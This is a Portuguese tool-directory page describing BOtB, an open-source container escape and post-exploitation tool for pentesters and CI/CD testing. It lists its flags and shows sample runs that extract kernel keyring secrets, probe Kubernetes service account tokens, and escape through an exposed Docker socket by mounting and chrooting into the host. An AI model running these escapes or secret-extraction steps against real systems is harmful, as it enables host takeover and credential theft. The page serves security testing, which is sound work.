Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
botb — Uma ferramenta de análise e exploração de contêineres para pentesters e engenheiros. | Kitploit
Ferramentas/GitHubGitHub/brompwnie/botb
Segurança de ContêineresAnálise de VulnerabilidadesExploraçãoPós-ExploraçãoTestes de PenetraçãoSegurança na NuvemEscape de Contêiner
GitHubbrompwnie/botb

botb

Uma ferramenta de análise e exploração de contêineres para pentesters e engenheiros.

Ver Repositório
6845625há 4 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Github All Releases

Break out the Box (BOtB)

BOtB é uma ferramenta de análise e exploração de contêineres projetada para ser usada por pentesters e engenheiros, sendo também amigável para CI/CD com tecnologias comuns de CI/CD.

O que ela faz?

BOtB é uma ferramenta de linha de comando (CLI) que permite:

  • Explorar vulnerabilidades comuns de contêineres
  • Realizar ações comuns de pós-exploração em contêineres
  • Fornecer capacidade quando certas ferramentas ou binários não estão disponíveis no contêiner
  • Usar as capacidades do BOtB com tecnologias CI/CD para testar implantações de contêineres
  • Realizar o acima de forma manual ou automatizada

Capacidades Atuais

  • Realizar uma fuga de contêiner através de daemons Docker expostos (docker.sock)
  • Realizar uma fuga de contêiner via CVE-2019-5736
  • Realizar uma fuga de contêiner privilegiado via CAPS e SYSCALLS habilitados
  • Extrair dados de Keyrings do Kernel Linux abusando da chamada de sistema Keyctl através de perfis seccomp permissivos
  • Identificar segredos de Service Accounts do Kubernetes e tentar usá-los
  • Identificar endpoints de serviços de metadados, como http://169.254.169.254, http://metadata.google.internal/ e http://100.100.100.200/
  • Extrair informações de metadados dos endpoints de metadados do GCP
  • Analisar e identificar strings sensíveis em ENV e processos no ProcFS, como /Proc/{pid}/Environ
  • Encontrar e identificar soquetes UNIX Domain
  • Identificar soquetes UNIX Domain que suportam HTTP
  • Encontrar e identificar o Daemon Docker em soquetes UNIX Domain ou em uma interface
  • Sequestrar binários do host com uma carga personalizada
  • Realizar ações em modo CI/CD e retornar apenas códigos de saída > 0
  • Enviar dados para um bucket S3
  • Forçar o BOtB a sempre retornar um código de saída 0 (útil para CI/CD não bloqueante)
  • Realizar o acima a partir dos argumentos da CLI ou de um arquivo de configuração YAML
  • Realizar pesquisa reversa de DNS

Instalação

Binários

Para instruções de instalação a partir de binários, visite a Página de Lançamentos.

Via Go

go get github.com/brompwnie/botb

Compilando a partir do código-fonte

Compilando o BOtB via Go:

go build

Compilando o BOtB via Make:

make

Uso

O BOtB pode ser compilado em um binário para a plataforma alvo e suporta o seguinte uso:

./botb-linux-amd64 -h
-aggr string
        Tentar explorar o RuncPWN (padrão "nil")
  -always-succeed
        Sempre definir o código de saída do BOtB como Zero
  -autopwn
        Tentar autopwn em soquetes expostos
  -cicd
        Tentar autopwn mas não abrir TTY, retornar código de saída 1 se bem-sucedido, senão 0
  -config string
        Carregar configuração de um arquivo yaml fornecido (padrão "nil")
  -endpoints string
        Fornecer um arquivo de texto com endpoints para usar no teste (padrão "nil")
  -find-docker
        Tentar encontrar o Dockerd
  -find-http
        Procurar por Soquetes UNIX Domain disponíveis com HTTP
  -find-sockets
        Procurar por Soquetes UNIX Domain disponíveis
  -hijack string
        Tentar sequestrar binários no host (padrão "nil")
  -k8secrets
        Identificar e Verificar Segredos do K8's
  -keyMax int
         Faixa máxima de ID de chave (padrão 100000000) e o valor máximo do sistema é 999999999 (padrão 100000000)
  -keyMin int
         Faixa mínima de ID de chave (padrão 1) (padrão 1)
  -metadata
        Tentar encontrar serviços de metadados
  -path string
        Caminho para iniciar a varredura de Soquetes UNIX Domain (padrão "/")
  -pwn-privileged string
        Fornecer uma carga de comando para tentar explorar o --privilege CGROUP release_agent's (padrão "nil")
  -pwnKeyctl
        Abusar das chamadas de sistema keyctl e extrair dados de keyrings do Kernel Linux
  -recon
        Realizar Reconhecimento do Ambiente do Contêiner
  -region string
        Fornecer uma região AWS, ex: eu-west-2 (padrão "nil")
  -rev-dns string
        Realizar pesquisas reversas de DNS em uma sub-rede. O parâmetro deve estar em notação CIDR, ex: -rev-dns 192.168.0.0/24 (padrão "nil")
  -s3bucket string
        Fornecer um nome de bucket para push S3 (padrão "nil")
  -s3push string
        Enviar um arquivo para S3, ex: Comando completo para enviar para https://YOURBUCKET.s3.eu-west-2.amazonaws.com/FILENAME seria: -region eu-west-2 -s3bucket YOURBUCKET -s3push FILENAME (padrão "nil")
  -scrape-gcp
        Tentar extrair o serviço de metadados do GCP
  -verbose
        Saída verbosa
  -wordlist string
        Fornecer uma wordlist (padrão "nil")

O BOtB também pode ser instruído a carregar configurações de um arquivo YAML através do parâmetro config:

#./botb-linux-amd64 -config=cfg.yml
[+] Break Out The Box
[+] Loading Config: cfg.yml
...

Os seguintes exemplos de uso retornarão um código de saída > 0 por padrão quando uma anomalia for detectada, indicado por "echo $?" que mostra o código de saída do último comando executado.

Identificar e Extrair Segredos de Keyring do Kernel Linux que não foram devidamente protegidos

Mais informações do autor original aqui https://www.antitree.com/2020/07/keyctl-unmask-going-florida-on-the-state-of-containerizing-linux-keyrings/

#./botb-linux-amd64 -pwnKeyctl=true -keyMin=0 -keyMax=100000000
[+] Break Out The Box
[*] Attempting to Identify and Extract Keyring Values
[!] WARNING, this can be resource intensive and your pod/container process may be killed, iterate over min and max with 100000000 increments to be safe
[!] Subkey description for key [251133632]: user;0;0;3f010000;brompwnie_secret
[!] Output {
 "KeyId": 13738777,
 "Valid": true,
 "Name": "_ses.e326b8816c24d0ddda6c2c82ecf62ea2302a7239fce2fd104775d154a97fa3d6",
 "Type": "keyring",
 "Uid": "0",
 "Gid": "0",
 "Perms": "3f1b0000",
 "String_Content": "\ufffd\ufffd\ufffd\u000e",
 "Byte_Content": "wP73Dg==",
 "Comments": null,
 "Subkeys": [
  {
   "KeyId": 251133632,
   "Valid": true,
   "Name": "brompwnie_secret",
   "Type": "user",
   "Uid": "0",
   "Gid": "0",
   "Perms": "3f010000",
   "String_Content": "thetruthisialsoreallyliketrees",
   "Byte_Content": "dGhldHJ1dGhpc2lhbHNvcmVhbGx5bGlrZXRyZWVz",
   "Comments": null,
   "Subkeys": null,
   "Output": ""
  }
 ],
 "Output": ""
}
[+] Finished

Identificar e Verificar Segredos de Service Account do Kubernetes montados

#./botb-linux-amd64 -k8secrets=true
[+] Break Out The Box
[*] Identifying and Verifying K8's Secrets
[!] Token found at: /var/run/secrets/kubernetes.io/serviceaccount/token
[!] Token found at: /run/secrets/kubernetes.io/serviceaccount/token
[*] Trying:  https://kubernetes.default/api/v1
[!] Valid response with token (xxxxxxxxxx...)on -> https://kubernetes.default/api/v1
[*] Trying:  https://kubernetes.default/api/v1/namespaces
[*] Trying:  https://kubernetes.default/api/v1/namespaces/default/secrets
[*] Trying:  https://kubernetes.default/api/v1/namespaces/default/pods
[*] Trying:  https://kubernetes.default/api/v1
[!] Valid response with token (xxxxxxxxxx...)on -> https://kubernetes.default/api/v1
[*] Trying:  https://kubernetes.default/api/v1/namespaces
[*] Trying:  https://kubernetes.default/api/v1/namespaces/default/secrets
[*] Trying:  https://kubernetes.default/api/v1/namespaces/default/pods
[+] Finished

Sair do Contêiner via Daemon Docker Exposto

Esta abordagem sairá para um TTY interativo no host.

#./bob_linux_amd64 -autopwn=true    
[+] Break Out The Box
[+] Attempting to autopwn
[+] Hunting Docker Socks
[+] Attempting to autopwn:  /var/meh
[+] Attempting to escape to host...
[+] Attempting in TTY Mode
./docker/docker -H unix:///var/meh run -t -i -v /:/host alpine:latest /bin/sh
chroot /host && clear
echo 'You are now on the underlying host'
You are now on the underlying host
/ # 
Baixar ferramenta